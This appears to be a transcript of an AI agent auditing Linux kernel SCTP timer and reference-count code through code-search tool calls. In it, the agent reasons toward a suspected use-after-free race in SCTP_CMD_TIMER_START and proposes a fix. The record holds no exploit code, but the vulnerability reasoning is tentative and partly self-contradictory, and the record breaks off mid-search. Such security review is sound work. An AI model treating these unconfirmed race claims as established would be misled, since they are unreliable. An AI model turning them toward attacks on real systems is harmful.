A significant point of contemplation arose when I considered the race condition where `timer_pending` returns `FALSE`, leading to `sctp_association_hold`, and then *before* `timer_reduce` is called, another CPU starts the timer. My analysis suggests that if another CPU starts the timer, `timer_reduce` would indeed see it as pending and only modify the expiration time, not start it. Furthermore, if another CPU started the timer, it would also have called `sctp_association_hold`, preventing a double increment of the reference count and thus avoiding a leak.

The most concerning scenario I explored was: `timer_pending` returns `FALSE`, `sctp_association_hold` is called, and *then* the timer fires and finishes its execution on another CPU. If the timer finishes, it drops its reference. Subsequently, `timer_reduce` is called. Since the timer is no longer pending, `timer_reduce` would start it. The critical issue here is that `sctp_association_hold` was *not* called in this path, meaning the timer would be started without an associated reference. This could lead to a use-after-free when the timer subsequently fires and `sctp_association_put` is called.

This led me to investigate the locking mechanisms. I confirmed that `sctp_cmd_interpreter` *always* holds `bh_lock_sock(sk)`. I also observed that the timer callback function, `sctp_generate_timeout_event`, *also* holds `bh_lock_sock(sk)`. My initial thought was that this mutual holding of the spinlock would prevent concurrent execution and thus eliminate the race.

However, I realized a crucial detail: the timer callback dequeues the timer *before* acquiring `bh_lock_sock(sk)`. This means that if CPU 1 is in `sctp_cmd_interpreter` holding `bh_lock_sock(sk)`, CPU 2's timer callback will block on `bh_lock_sock(sk)`. If, in this state, CPU 1 checks `timer_pending(timer)`, it would see `FALSE` (because CPU 2 has dequeued it), call `sctp_association_hold`, and then `timer_reduce` would restart the timer. Once CPU 1 releases the spinlock, CPU 2 acquires it, checks its conditions, and calls `sctp_association_put`. This sequence appears safe.

My contemplation then turned to the case where `timer_pending` returns `TRUE`. If the timer is pending and not yet fired, `timer_reduce` simply updates its expiration time. This also appears safe as the timer already has a reference.

I also briefly considered `SCTP_CMD_TIMER_RESTART` and `SCTP_CMD_TIMER_STOP`. In the `RESTART` case, `mod_timer`'s return value correctly indicates whether an `sctp_association_hold` is needed. For `STOP`, `timer_delete`'s return value dictates if `sctp_association_put` should be called. My analysis suggested these are also handled correctly, even with the potential for concurrent execution.

The most complex and challenging aspect was understanding the interaction between `lock_sock(sk)` held by a user thread (e.g., in `sctp_sendmsg`) and `bh_lock_sock(sk)` acquired by the timer callback. I realized that `bh_lock_sock` acquires only the spinlock, not the mutex (`sk->sk_lock.owned`). This means a user thread holding `lock_sock(sk)` can indeed proceed to call `sctp_cmd_interpreter` while a timer callback is blocked on the spinlock.

This led me to a potential race: if a user thread (CPU 1) holds `lock_sock(sk)`, calls `SCTP_CMD_TIMER_START`, sees `timer_pending` as `FALSE` (because the timer callback on CPU 2 has dequeued it), calls `sctp_association_hold`, and then `timer_reduce` to restart the timer. Meanwhile, CPU 2's timer callback, blocked on the spinlock, eventually acquires it. It then checks `sock_owned_by_user(sk)`, finds it `TRUE`, and calls `mod_timer`. Crucially, `mod_timer` would return `1` because CPU 1 already restarted the timer. Thus, CPU 2 would *not* call `sctp_association_hold`. CPU 2 then releases the spinlock and calls `sctp_association_put`. This appears to be a safe sequence where CPU 1 increments the reference, and CPU 2 decrements it.

The question of *where* the bug lies still lingers. I've meticulously walked through the scenarios where the timer might be executing, pending, or deleted, and the impact of both the spinlock and the user-held mutex. I'm left suspecting the interaction when `sock_owned_by_user(sk)` is true within the timer callback, and the exact behavior of `mod_timer` in the context of the user thread's timer manipulation. I need to be absolutely certain about the conditions under which `mod_timer` returns `0` or `1` when `sock_owned_by_user(sk)` is true and the timer is being concurrently managed.

map[ContextFile:net/sctp/socket.c Name:sctp_sendmsg]

map[SourceCode:1942:	static int sctp_sendmsg(struct sock *sk, struct msghdr *msg, size_t msg_len)
1943:	{
1944:		struct sctp_endpoint *ep = sctp_sk(sk)->ep;
1945:		struct sctp_transport *transport = NULL;
1946:		struct sctp_sndrcvinfo _sinfo, *sinfo;
1947:		struct sctp_association *asoc, *tmp;
1948:		struct sctp_cmsgs cmsgs;
1949:		union sctp_addr *daddr;
1950:		bool new = false;
1951:		__u16 sflags;
1952:		int err;
1953:	
1954:		/* Parse and get snd_info */
1955:		err = sctp_sendmsg_parse(sk, &cmsgs, &_sinfo, msg, msg_len);
1956:		if (err)
1957:			goto out;
1958:	
1959:		sinfo  = &_sinfo;
1960:		sflags = sinfo->sinfo_flags;
1961:	
1962:		/* Get daddr from msg */
1963:		daddr = sctp_sendmsg_get_daddr(sk, msg, &cmsgs);
1964:		if (IS_ERR(daddr)) {
1965:			err = PTR_ERR(daddr);
1966:			goto out;
1967:		}
1968:	
1969:		lock_sock(sk);
1970:	
1971:		/* SCTP_SENDALL process */
1972:		if ((sflags & SCTP_SENDALL) && sctp_style(sk, UDP)) {
1973:			list_for_each_entry_safe(asoc, tmp, &ep->asocs, asocs) {
1974:				err = sctp_sendmsg_check_sflags(asoc, sflags, msg,
1975:								msg_len);
1976:				if (err == 0)
1977:					continue;
1978:				if (err < 0)
1979:					goto out_unlock;
1980:	
1981:				sctp_sendmsg_update_sinfo(asoc, sinfo, &cmsgs);
1982:	
1983:				err = sctp_sendmsg_to_asoc(asoc, msg, msg_len,
1984:							   NULL, sinfo);
1985:				if (err < 0)
1986:					goto out_unlock;
1987:	
1988:				iov_iter_revert(&msg->msg_iter, err);
1989:	
1990:				/* sctp_sendmsg_to_asoc() may have released the socket
1991:				 * lock (sctp_wait_for_sndbuf), during which other
1992:				 * associations on ep->asocs could have been peeled
1993:				 * off or freed.  @asoc itself is revalidated by the
1994:				 * base.dead and base.sk checks in sctp_wait_for_sndbuf,
1995:				 * so re-derive the cached cursor from it.
1996:				 */
1997:				tmp = list_next_entry(asoc, asocs);
1998:			}
1999:	
2000:			goto out_unlock;
2001:		}
2002:	
2003:		/* Get and check or create asoc */
2004:		if (daddr) {
2005:			asoc = sctp_endpoint_lookup_assoc(ep, daddr, &transport);
2006:			if (asoc) {
2007:				err = sctp_sendmsg_check_sflags(asoc, sflags, msg,
2008:								msg_len);
2009:				if (err <= 0)
2010:					goto out_unlock;
2011:			} else {
2012:				err = sctp_sendmsg_new_asoc(sk, sflags, &cmsgs, daddr,
2013:							    &transport);
2014:				if (err)
2015:					goto out_unlock;
2016:	
2017:				asoc = transport->asoc;
2018:				new = true;
2019:			}
2020:	
2021:			if (!sctp_style(sk, TCP) && !(sflags & SCTP_ADDR_OVER))
2022:				transport = NULL;
2023:		} else {
2024:			asoc = sctp_id2assoc(sk, sinfo->sinfo_assoc_id);
2025:			if (!asoc) {
2026:				err = -EPIPE;
2027:				goto out_unlock;
2028:			}
2029:	
2030:			err = sctp_sendmsg_check_sflags(asoc, sflags, msg, msg_len);
2031:			if (err <= 0)
2032:				goto out_unlock;
2033:		}
2034:	
2035:		/* Update snd_info with the asoc */
2036:		sctp_sendmsg_update_sinfo(asoc, sinfo, &cmsgs);
2037:	
2038:		/* Send msg to the asoc */
2039:		err = sctp_sendmsg_to_asoc(asoc, msg, msg_len, transport, sinfo);
2040:		if (err < 0 && err != -ESRCH && new)
2041:			sctp_association_free(asoc);
2042:	
2043:	out_unlock:
2044:		release_sock(sk);
2045:	out:
2046:		return sctp_error(sk, msg->msg_flags, err);
2047:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 42364
							output: 32
							thoughts: 3400
						

**A Deep Dive into SCTP Timer Management and Reference Counting Conundrums**

As I delve into the intricacies of SCTP's timer management, particularly concerning the interaction between user-space calls like `sctp_sendmsg` and kernel timer softirqs, a complex dance of locks and reference counts unfolds. My primary concern is ensuring the integrity of association (`asoc`) lifetimes, specifically avoiding use-after-free bugs when timers are involved.

Initially, I observe that `sctp_sendmsg` only acquires `lock_sock(sk)`, crucially *not* `bh_lock_sock(sk)`. This distinction is paramount because it means `sctp_cmd_interpreter`, which is called within `sctp_sendmsg`, operates under the `lock_sock(sk)` protection but *without* `bh_lock_sock(sk)`. This absence of `bh_lock_sock(sk)` is what allows a concurrent CPU, say CPU 2 executing a timer softirq, to potentially acquire `bh_lock_sock(sk)`.

My thought process then pivots to analyzing the execution flow when CPU 1 (a user thread) is within `sctp_cmd_interpreter` processing `SCTP_CMD_TIMER_START`. At this point, CPU 1 checks `timer_pending(timer)`. If CPU 2 is already executing the timer callback, `timer_pending(timer)` will correctly return `FALSE`. Consequently, CPU 1 will call `sctp_association_hold(asoc)` to increment the reference count, ensuring the association remains valid while the timer is being set up. Then, CPU 1 calls `timer_reduce(timer, ...)` to arm the timer.

Concurrently, CPU 2 is executing the timer callback, specifically `sctp_generate_timeout_event`. It acquires `bh_lock_sock(sk)`. It then checks `sock_owned_by_user(sk)`, which is `TRUE` because CPU 1 holds `lock_sock(sk)`. This is a good sign. CPU 2 then calls `mod_timer(&asoc->timers[timeout_type], ...)`. Since CPU 1 has already started the timer, `mod_timer` returns `1`. Because it returned `1`, CPU 2 *does not* call `sctp_association_hold(asoc)`. Finally, CPU 2 proceeds to `out_unlock` and calls `sctp_association_put(asoc)`, decrementing the reference count. This scenario appears perfectly safe: CPU 1 took a reference, and CPU 2 dropped one.

However, my expert mind immediately questions the ordering. What if CPU 2's call to `mod_timer` happens *before* CPU 1's call to `timer_reduce`?

In this case, CPU 2 acquires `bh_lock_sock(sk)`, checks `sock_owned_by_user(sk)` (which is `TRUE`), and calls `mod_timer`. Since the timer isn't pending yet (CPU 1 hasn't called `timer_reduce`), `mod_timer` returns `0`. Because it returned `0`, CPU 2 *does* call `sctp_association_hold(asoc)`, incrementing the reference count. Now the timer is pending and has an associated reference. CPU 2 then releases `bh_lock_sock(sk)` and calls `sctp_association_put(asoc)`.

Now, CPU 1 (user thread) resumes `sctp_cmd_interpreter` processing `SCTP_CMD_TIMER_START`. It checks `timer_pending(timer)`. Since CPU 2 already started the timer, `timer_pending(timer)` returns `TRUE`. Consequently, CPU 1 *does not* call `sctp_association_hold(asoc)`. It then proceeds to `timer_reduce(timer, ...)`, which modifies the timer but doesn't start it again. This scenario also appears perfectly safe: CPU 2 took a reference, and CPU 1 did not.

The critical edge case emerges when there's a race between CPU 1 checking `timer_pending(timer)` and CPU 2 calling `mod_timer` and subsequently `sctp_association_hold`.

Consider this: CPU 1 checks `timer_pending(timer)`. It returns `FALSE` (because CPU 2 is in the timer callback, but hasn't called `mod_timer` yet). CPU 1 then calls `sctp_association_hold(asoc)`, incrementing the reference count. Immediately after, CPU 2 calls `mod_timer`. Since the timer isn't pending at this exact moment (CPU 1 hasn't called `timer_reduce`), `mod_timer` returns `0`. Because it returned `0`, CPU 2 calls `sctp_association_hold(asoc)` *again*, incrementing the reference count a second time. Now, the timer is pending, and the reference count is two higher than it should be. Then, CPU 1 calls `timer_reduce(timer, ...)`. This modifies the timer but doesn't start it anew. Finally, CPU 2 calls `sctp_association_put(asoc)`. The reference count is now only one higher than it should be. This is a memory leak, not a use-after-free, but still undesirable!

I then explore other potential races. What if CPU 2 calls `mod_timer` before CPU 1 checks `timer_pending(timer)`, but CPU 2 calls `sctp_association_hold` *after* CPU 1 checks `timer_pending(timer)`?
CPU 2's `mod_timer` returns `0`, and the timer becomes pending.
CPU 1 checks `timer_pending(timer)` and it returns `TRUE` because CPU 2 armed it.
Therefore, CPU 1 *does not* call `sctp_association_hold(asoc)`.
CPU 1 calls `timer_reduce(timer, ...)`, modifying the timer.
CPU 2 then calls `sctp_association_hold(asoc)`.
This is safe, as the reference was correctly taken by the timer callback.

What about the scenario where `timer_pending(timer)` returns `TRUE`, CPU 1 doesn't take a reference, the timer callback finishes, and then CPU 1 calls `timer_reduce`?
If `timer_pending(timer)` returns `TRUE`, the timer has not yet fired. If it hasn't fired, it cannot finish before `timer_reduce`. This line of reasoning seems flawed.

Then I consider the possibility of the timer executing and the timer callback finishing before `timer_reduce` is called by CPU 1. If `timer_pending(timer)` returned `FALSE`, CPU 1 would have called `sctp_association_hold(asoc)`. If the timer callback finishes, and the timer is no longer pending, then `timer_reduce` *will* start the timer. But since CPU 1 *did* call `sctp_association_hold(asoc)`, the timer is started with a reference. This still seems safe.

My attention shifts to the `SCTP_CMD_TIMER_RESTART` case. The logic here is straightforward: if `mod_timer` returns `0` (meaning it started the timer), it calls `sctp_association_hold(asoc)`. If the timer is already running, `mod_timer` returns `1`, and no extra reference is taken. This seems robust.

The involvement of `sctp_association_free` introduces another layer of complexity. If CPU 1 is freeing an association, it calls `timer_delete`. If a timer is currently executing (and thus not truly deleted yet), `timer_delete` returns `0`, and `sctp_association_put(asoc)` is not called within the loop. CPU 1 then calls `sctp_association_put(asoc)` at the end of `sctp_association_free`. If this was the last user-held reference, the count drops to 1 (assuming the timer callback still logically holds a reference). When CPU 2's timer callback finishes, it acquires `bh_lock_sock(sk)`. It checks `sock_owned_by_user(sk)`, which would be `FALSE` if CPU 1 has released `lock_sock(sk)`. Then, it checks `asoc->base.dead`. If it's `TRUE` (set by CPU 1), CPU 2 proceeds to `out_unlock` and calls `sctp_association_put(asoc)`, bringing the reference count to 0 and safely destroying the association. This also appears to be safe.

The critical question remains: can `refcnt` drop to 0 *while* the timer is executing? This would imply an imbalance, either too many `sctp_association_put` calls or starting a timer without `sctp_association_hold`. I revisit the `SCTP_CMD_TIMER_START` logic: `BUG_ON(!timeout)` is present, which is good. The conditional `sctp_association_hold` based on `!timer_pending(timer)` is key.

I then consider the implications of the timer callback itself. Crucially, the `refcnt` is *not* decremented when the timer fires; it's decremented at the *end* of the timer callback. This means while the timer is actively executing, `refcnt` is at least 1. This guards against the association being freed prematurely while the timer callback is still running.

My analysis points to a potential issue where `refcnt` might increment twice if `mod_timer` returns `0` and `sctp_association_hold` is called by both CPU 1 and CPU 2 under specific race conditions, leading to a leak. However, it seems unlikely for `refcnt` to drop to 0 while the timer is executing because the timer itself, by virtue of being active, logically holds a reference until its callback completes. The critical factor is the sequence of operations involving `timer_pending`, `sctp_association_hold`, `mod_timer`, `timer_reduce`, and `sctp_association_put` under concurrent execution. I've explored various race conditions, and while some potential for leaks or unexpected behavior in specific ordering scenarios exists, the core reference counting mechanism tied to timer state seems largely robust, with the key being that the timer callback holds a reference until its completion.

map[Expression:sctp_association_hold PathPrefix:net/sctp]

map[Output:net/sctp/associola.c=786=void sctp_assoc_control_transport(struct sctp_association *asoc,
--
net/sctp/associola.c-850-/* Hold a reference to an association. */
net/sctp/associola.c:851:void sctp_association_hold(struct sctp_association *asoc)
net/sctp/associola.c-852-{
--
net/sctp/associola.c=971=static void sctp_assoc_bh_rcv(struct work_struct *work)
--
net/sctp/associola.c-988-	inqueue = &asoc->base.inqueue;
net/sctp/associola.c:989:	sctp_association_hold(asoc);
net/sctp/associola.c-990-	while (NULL != (chunk = sctp_inq_pop(inqueue))) {
--
net/sctp/output.c=575=int sctp_packet_transmit(struct sctp_packet *packet, gfp_t gfp)
--
net/sctp/output.c-642-		if (!mod_timer(timer, jiffies + timeout))
net/sctp/output.c:643:			sctp_association_hold(asoc);
net/sctp/output.c-644-	}
--
net/sctp/sm_sideeffect.c=270=static void sctp_generate_timeout_event(struct sctp_association *asoc,
--
net/sctp/sm_sideeffect.c-283-		if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20)))
net/sctp/sm_sideeffect.c:284:			sctp_association_hold(asoc);
net/sctp/sm_sideeffect.c-285-		goto out_unlock;
--
net/sctp/sm_sideeffect.c=1275=static int sctp_cmd_interpreter(enum sctp_event_type event_type,
--
net/sctp/sm_sideeffect.c-1556-			if (!timer_pending(timer))
net/sctp/sm_sideeffect.c:1557:				sctp_association_hold(asoc);
net/sctp/sm_sideeffect.c-1558-			timer_reduce(timer, jiffies + timeout);
--
net/sctp/sm_sideeffect.c-1564-			if (!mod_timer(timer, jiffies + timeout))
net/sctp/sm_sideeffect.c:1565:				sctp_association_hold(asoc);
net/sctp/sm_sideeffect.c-1566-			break;
--
net/sctp/socket.c=125=static inline void sctp_set_owner_w(struct sctp_chunk *chunk)
--
net/sctp/socket.c-130-	/* The sndbuf space is tracked per association.  */
net/sctp/socket.c:131:	sctp_association_hold(asoc);
net/sctp/socket.c-132-
--
net/sctp/socket.c=9271=static int sctp_wait_for_sndbuf(struct sctp_association *asoc,
--
net/sctp/socket.c-9285-		sctp_transport_hold(transport);
net/sctp/socket.c:9286:	sctp_association_hold(asoc);
net/sctp/socket.c-9287-
--
net/sctp/socket.c=9388=static int sctp_wait_for_connect(struct sctp_association *asoc, long *timeo_p)
--
net/sctp/socket.c-9397-	/* Increment the association's refcnt.  */
net/sctp/socket.c:9398:	sctp_association_hold(asoc);
net/sctp/socket.c-9399-
--
net/sctp/transport.c=223=void sctp_transport_set_owner(struct sctp_transport *transport,
--
net/sctp/transport.c-226-	transport->asoc = asoc;
net/sctp/transport.c:227:	sctp_association_hold(asoc);
net/sctp/transport.c-228-}
--
net/sctp/ulpevent.c=76=static inline void sctp_ulpevent_set_owner(struct sctp_ulpevent *event,
--
net/sctp/ulpevent.c-84-	 */
net/sctp/ulpevent.c:85:	sctp_association_hold((struct sctp_association *)asoc);
net/sctp/ulpevent.c-86-	skb = sctp_event2skb(event);
]

gemini-3.1-pro-preview

							input: 47107
							output: 34
							thoughts: 6099
						

**My Thoughts on SCTP Timer Handling and Potential Race Conditions**

I've been digging into the intricacies of SCTP's timer management, specifically around the `sctp_cmd_interpreter` and its handling of timer start commands. My initial analysis revealed a few areas that warranted closer scrutiny, and as I've traced the execution paths, I've identified what appears to be a critical race condition.

My primary concern stems from the way `sctp_cmd_interpreter` handles `SCTP_CMD_TIMER_START`. The code first checks `timer_pending(timer)`. If this returns `false` (meaning the timer isn't currently active), it calls `sctp_association_hold(asoc)` to increment the association's reference count, and then proceeds to call `timer_reduce(timer, jiffies + timeout)`.

This sequence of operations, while seemingly straightforward, is where I believe the vulnerability lies. The core issue is a classic TOCTOU (Time-Of-Check to Time-Of-Use) race condition.

Let's consider this scenario:

1.  **CPU 1 (user thread)** is executing `sctp_cmd_interpreter` and reaches the `SCTP_CMD_TIMER_START` case.
2.  CPU 1 checks `timer_pending(timer)`. At this moment, the timer has not yet fired, so `timer_pending(timer)` correctly returns `TRUE`.
3.  Because `timer_pending(timer)` returned `TRUE`, CPU 1 *skips* the call to `sctp_association_hold(asoc)`. This is crucial: no reference is taken for the potential timer start.
4.  Now, CPU 1 is preempted or experiences a delay.
5.  **CPU 2 (timer softirq)** fires the timer! The timer core dequeues the timer, meaning that from this point onwards, `timer_pending(timer)` would actually return `FALSE`.
6.  CPU 2 begins executing the timer's callback function, which is typically `sctp_generate_timeout_event`. This function will eventually call `sctp_association_put(asoc)` to decrement the reference count.
7.  Meanwhile, CPU 1 resumes execution. It proceeds to call `timer_reduce(timer, jiffies + timeout)`.
8.  Because the timer was dequeued by CPU 2, it is no longer pending. Therefore, `timer_reduce` considers the timer inactive and *starts* it (re-enqueues it).
9.  CPU 2, having acquired the necessary socket locks, checks `sock_owned_by_user(sk)`. Since CPU 1 holds `lock_sock(sk)`, this check passes.
10. CPU 2 then calls `mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20))`. Critically, since CPU 1 has just re-enqueued the timer, `mod_timer` sees an *already pending* timer and returns `1`.
11. Because `mod_timer` returned `1`, CPU 2 *does not* call `sctp_association_hold(asoc)`. No reference is taken here either.
12. CPU 2 releases `bh_lock_sock(sk)` and then calls `sctp_association_put(asoc)`. This decrements the reference count that was taken for the *first* timer execution.
13. At this point, we have a timer that is pending (re-enqueued by CPU 1's `timer_reduce`), but *no active reference count* has been taken for this specific pending timer instance. CPU 1 didn't take one because it saw `timer_pending(timer)` as true, and CPU 2 didn't take one because `mod_timer` returned `1`.
14. When this timer fires for the *second* time, it will execute its callback, which eventually calls `sctp_association_put(asoc)`. Since no reference was held, this call will decrement the reference count to zero (or below), leading to a use-after-free condition when the association is subsequently deallocated.

This race condition is compounded by the fact that `sctp_cmd_interpreter`'s `SCTP_CMD_TIMER_START` command uses `timer_reduce`, which doesn't directly report if it *started* a timer, unlike `mod_timer` which returns `0` on success for starting a timer.

I've also noticed a related memory leak issue in the same `sctp_cmd_interpreter` logic when handling `SCTP_CMD_TIMER_START_ONCE` if it falls through to `SCTP_CMD_TIMER_START`. If `timer_pending(timer)` is false, `sctp_association_hold(asoc)` is called. Then, if another CPU starts the timer concurrently before `timer_reduce` is called, `timer_reduce` will return `1` (not starting the timer). In this case, we would have correctly called `sctp_association_hold(asoc)`, but the timer was already active and its handler would also take a hold. This results in an extra, unreleased reference, causing a memory leak.

The fundamental problem across both these scenarios is the separation of the timer pending check and the actual timer modification/start operation. The solution, as I see it, is to use a single atomic operation that handles both the check and the reference counting.

Specifically, I believe replacing the existing `if (!timer_pending(timer)) { sctp_association_hold(asoc); } timer_reduce(...)` block with a simple `if (!timer_reduce(timer, jiffies + timeout)) { sctp_association_hold(asoc); }` would resolve both the use-after-free and the memory leak issues. The `timer_reduce` function's return value accurately indicates whether it successfully started an inactive timer (returning `0`), in which case we *must* take a reference. If it returns `1`, the timer was already active, and we should not increment the reference count. This approach elegantly combines the check and the hold operation, eliminating the race window.

I've reviewed other timer-related functions like `sctp_packet_transmit` and `SCTP_CMD_TIMER_RESTART`, and they appear to handle their respective timer modifications more safely by either checking the return value of `mod_timer` appropriately or by not exhibiting the same separation of concerns that leads to the race in `SCTP_CMD_TIMER_START`.

map[Expression:SCTP_CMD_TIMER_START PathPrefix:net/sctp]

map[Output:net/sctp/sm_sideeffect.c=1275=static int sctp_cmd_interpreter(enum sctp_event_type event_type,
--
net/sctp/sm_sideeffect.c-1535-
net/sctp/sm_sideeffect.c:1536:		case SCTP_CMD_TIMER_START_ONCE:
net/sctp/sm_sideeffect.c-1537-			timer = &asoc->timers[cmd->obj.to];
--
net/sctp/sm_sideeffect.c-1542-
net/sctp/sm_sideeffect.c:1543:		case SCTP_CMD_TIMER_START:
net/sctp/sm_sideeffect.c-1544-			timer = &asoc->timers[cmd->obj.to];
--
net/sctp/sm_statefuns.c=521=enum sctp_disposition sctp_sf_do_5_1C_ack(struct net *net,
--
net/sctp/sm_statefuns.c-622-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
net/sctp/sm_statefuns.c:623:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-624-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_COOKIE));
--
net/sctp/sm_statefuns.c=703=enum sctp_disposition sctp_sf_do_5_1D_ce(struct net *net,
--
net/sctp/sm_statefuns.c-883-	if (new_asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c:884:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-885-				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
--
net/sctp/sm_statefuns.c=938=enum sctp_disposition sctp_sf_do_5_1E_ca(struct net *net,
--
net/sctp/sm_statefuns.c-984-	if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c:985:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-986-				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
--
net/sctp/sm_statefuns.c=2577=static enum sctp_disposition sctp_sf_do_5_2_6_stale(
--
net/sctp/sm_statefuns.c-2651-			SCTP_STATE(SCTP_STATE_COOKIE_WAIT));
net/sctp/sm_statefuns.c:2652:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-2653-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
--
net/sctp/sm_statefuns.c=5021=enum sctp_disposition sctp_sf_do_prm_asoc(struct net *net,
--
net/sctp/sm_statefuns.c-5062-	 */
net/sctp/sm_statefuns.c:5063:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5064-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
--
net/sctp/sm_statefuns.c=5573=enum sctp_disposition sctp_sf_do_prm_asconf(struct net *net,
--
net/sctp/sm_statefuns.c-5582-	sctp_add_cmd_sf(commands, SCTP_CMD_SETUP_T4, SCTP_CHUNK(chunk));
net/sctp/sm_statefuns.c:5583:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5584-			SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
--
net/sctp/sm_statefuns.c=5664=enum sctp_disposition sctp_sf_do_9_2_start_shutdown(
--
net/sctp/sm_statefuns.c-5688-	/* It shall then start the T2-shutdown timer */
net/sctp/sm_statefuns.c:5689:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5690-			SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
--
net/sctp/sm_statefuns.c=5836=enum sctp_disposition sctp_sf_do_6_3_3_rtx(struct net *net,
--
net/sctp/sm_statefuns.c-5858-			 */
net/sctp/sm_statefuns.c:5859:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START_ONCE,
net/sctp/sm_statefuns.c-5860-				SCTP_TO(SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD));
]

gemini-3.1-pro-preview

							input: 54794
							output: 29
							thoughts: 827
						

**My Thoughts on SCTP Timer Handling and Potential Issues**

As I delve into the SCTP implementation, I'm analyzing the usage of `SCTP_CMD_TIMER_START`. It seems to be the command for initiating several timers: `SCTP_EVENT_TIMEOUT_T1_COOKIE`, `SCTP_EVENT_TIMEOUT_AUTOCLOSE`, `SCTP_EVENT_TIMEOUT_T1_INIT`, `SCTP_EVENT_TIMEOUT_T4_RTO`, and `SCTP_EVENT_TIMEOUT_T2_SHUTDOWN`.

Now, I'm specifically questioning the behavior around `SCTP_EVENT_TIMEOUT_AUTOCLOSE`. My understanding is that this timer is started only once when an association is established, provided the `autoclose` parameter is configured. So, I can't see a scenario where `SCTP_CMD_TIMER_START` would be called repeatedly for `AUTOCLOSE` under normal operation after the initial setup.

Moving on to `SCTP_EVENT_TIMEOUT_T4_RTO`, I note it's triggered when an ASCONF chunk is sent. The question arises: can we send ASCONF chunks repeatedly? Yes, by performing actions like adding/removing IP addresses or setting a peer's primary address. However, this capability is contingent on the peer supporting ASCONF, which is a critical prerequisite.

Then there's `SCTP_EVENT_TIMEOUT_T1_INIT`. This timer is started when we transmit an INIT chunk. The nature of the INIT chunk itself implies it's sent only once per association, so repeated invocation of `SCTP_CMD_TIMER_START` for this purpose seems unlikely. The same logic applies to `SCTP_EVENT_TIMEOUT_T2_SHUTDOWN`; it's initiated when a SHUTDOWN chunk is sent, and SHUTDOWN chunks are also transactional, not repeatable in a single association lifecycle.

However, a more concerning observation emerges when I consider `SCTP_CMD_TIMER_START_ONCE`. This command is intended for `T5_SHUTDOWN_GUARD`. What strikes me is that `SCTP_CMD_TIMER_START_ONCE` can fall through to `SCTP_CMD_TIMER_START`. This suggests a potential shared vulnerability. Digging deeper, `SCTP_CMD_TIMER_START_ONCE` first checks `timer_pending(timer)`. If it's TRUE, it exits. If it's FALSE, it proceeds. This fall-through then executes `SCTP_CMD_TIMER_START`. Crucially, `SCTP_CMD_TIMER_START` *also* checks `timer_pending(timer)` again. Given that the check in `SCTP_CMD_TIMER_START_ONCE` likely resulted in FALSE, it's highly probable that the timer is still pending FALSE, leading to the execution of `sctp_association_hold(asoc)` and `timer_reduce`. This indicates that `SCTP_CMD_TIMER_START_ONCE` can inadvertently execute the same problematic code path as `SCTP_CMD_TIMER_START`.

This brings me to a fundamental question: are there *any* timers that are reliably restarted in a way that bypasses this potential issue? I'm looking at `sctp_cmd_interpreter` for `SCTP_CMD_TIMER_RESTART`. This command is used for `T1_INIT`, `T1_COOKIE`, `T3_RTX`, and `HEARTBEAT`. The key difference is that `SCTP_CMD_TIMER_RESTART` utilizes `mod_timer`, which I understand to be a safe and appropriate mechanism for restarting timers.

Therefore, based on my current analysis, the bug appears to be confined specifically to `SCTP_CMD_TIMER_START` and `SCTP_CMD_TIMER_START_ONCE`. The timers that utilize `SCTP_CMD_TIMER_START` are: `T1_COOKIE`, `AUTOCLOSE`, `T1_INIT`, `T4_RTO`, and `T2_SHUTDOWN`.

One final point of investigation: I see the `AUTOCLOSE` timer being started in `sctp_sf_do_5_1D_ce` and `sctp_sf_do_5_1E_ca`, which are state functions for processing COOKIE ECHO and COOKIE ACK. This is interesting because it implies `AUTOCLOSE` *can* be restarted. My next step is to pinpoint *where* exactly this restart occurs, as it seems to contradict my earlier assumption about `AUTOCLOSE` only being started once.

map[Expression:AUTOCLOSE PathPrefix:net/sctp]

map[Output:net/sctp/associola.c=51=static struct sctp_association *sctp_association_init(
--
net/sctp/associola.c-139-	asoc->timeouts[SCTP_EVENT_TIMEOUT_SACK] = asoc->sackdelay;
net/sctp/associola.c:140:	asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE] =
net/sctp/associola.c-141-		(unsigned long)sp->autoclose * HZ;
--
net/sctp/debug.c=147=static const char *const sctp_timer_tbl[] = {
--
net/sctp/debug.c-158-	"TIMEOUT_SACK",
net/sctp/debug.c:159:	"TIMEOUT_AUTOCLOSE",
net/sctp/debug.c-160-};
--
net/sctp/output.c=575=int sctp_packet_transmit(struct sctp_packet *packet, gfp_t gfp)
--
net/sctp/output.c-635-	if (packet->has_data && sctp_state(asoc, ESTABLISHED) &&
net/sctp/output.c:636:	    asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE]) {
net/sctp/output.c-637-		struct timer_list *timer =
net/sctp/output.c:638:			&asoc->timers[SCTP_EVENT_TIMEOUT_AUTOCLOSE];
net/sctp/output.c-639-		unsigned long timeout =
net/sctp/output.c:640:			asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE];
net/sctp/output.c-641-
--
net/sctp/proc.c=22=static const struct snmp_mib sctp_snmp_list[] = {
--
